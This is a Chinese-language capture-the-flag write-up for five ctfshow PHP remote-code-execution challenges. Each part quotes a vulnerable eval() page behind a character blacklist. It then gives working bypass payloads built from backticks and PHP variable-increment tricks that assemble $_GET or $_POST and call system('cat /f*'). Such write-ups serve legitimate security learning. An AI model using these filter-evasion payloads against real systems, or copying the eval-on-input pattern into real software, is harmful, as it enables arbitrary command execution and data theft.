讨厌SQl看到这个了想来玩玩
rce1
<?phperror_reporting(0);
highlight_file(__FILE__);$code = $_POST['code'];$code = str_replace("(","括号",$code);$code = str_replace(".","点",$code);eval($code);?>
括号过滤点过滤,那么函数就不行就用反引号,用通配符来代替小数点
code=echo `cat /f*`;
rce2
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow)) {if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);+}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();}
}
?>
正则脚本
<?php
for ($i=32;$i<127;$i++){if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){echo chr($i)." ";}
}
! $ ' ( ) + , . / ; = [ ] _ 还有这些符号可以用
变量自增获得自己想要的东西我们现在就是想要构造GET传参
$_GET[_]($_GET[__])
然后就传命令
自己慢慢尝试就行
POST:
ctf_show= $_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$__.++$_;$_=_.$__;$$_[_]($$_[__]);
GET:
?_=system&__=cat /f*
rce 3
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 105) {if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();}
}
?>
用脚本跑一下还有这些东西能用
$ ( ) + , . / 0 1 ; = [ ] _
有0 1 我们就构造POST传参
还是自增
$_=(0/0)._;//$_=NAN_
$_=$_[0];//$_=N
$__=++$_;
$__=++$_.$__;
$_++;$_++;
$__=$__.++$_;
$__=_.$__.++$_;//$__=_POST
$$__[0]($$__[1]);//$_POST[0]($_POST[1]);
POST:
ctf_show=$_=(0/0)._;$_=$_[0];$__=++$_;$__=++$_.$__;$_++;$_++;$__=$__.++$_;$__=_.$__.++$_;$$__[0]($$__[1]);&0=system&1=cat /f*
rce 4
<?php
for ($i=32;$i<127;$i++){if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){echo chr($i)." ";}
}
用脚本跑完发现还有这些东西
$ ( ) + , . / 0 ; = [ ] _
我们要把字符长度缩小
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 84) {if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();}
}
?>
$_=(_/_._)[0];
$__=++$_;
$__=_.++$_.$__;
//echo $__;
++$_;++$_;
//echo $_;
$__.=++$_.++$_;
//echo $__;
$$__[0]($$__[_]);
//这里的++$_很细节,可以直接避免之前的$_++,然后就减少很多字符,还有第一句,直接当两句用
ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;++$_;++$_;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*
rce5
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 73) {if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();}
}
?>
<?php
for ($i=32;$i<127;$i++){if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){echo chr($i)." ";}
}
脚本跑出来
$ ( ) + , . / ; = [ ] 还有这些东西可以用
$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST
$$a[_POST]($$a[_]) //$_POST[_POST]($_POST[_])
$_=_(_/_)[_]; //没想到吧这样子直接就可以得到N
$__=++$_;// $__=O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//构造出POST
从左边到右边所以后面的$a=_POST
ctf_show=$_=_(_/_)[_];$__=++$_;$$__[$__=_.++$_.$__[$_++/$_++].++$_.++$_]($$__[_]);&_POST=system&_=cat /f*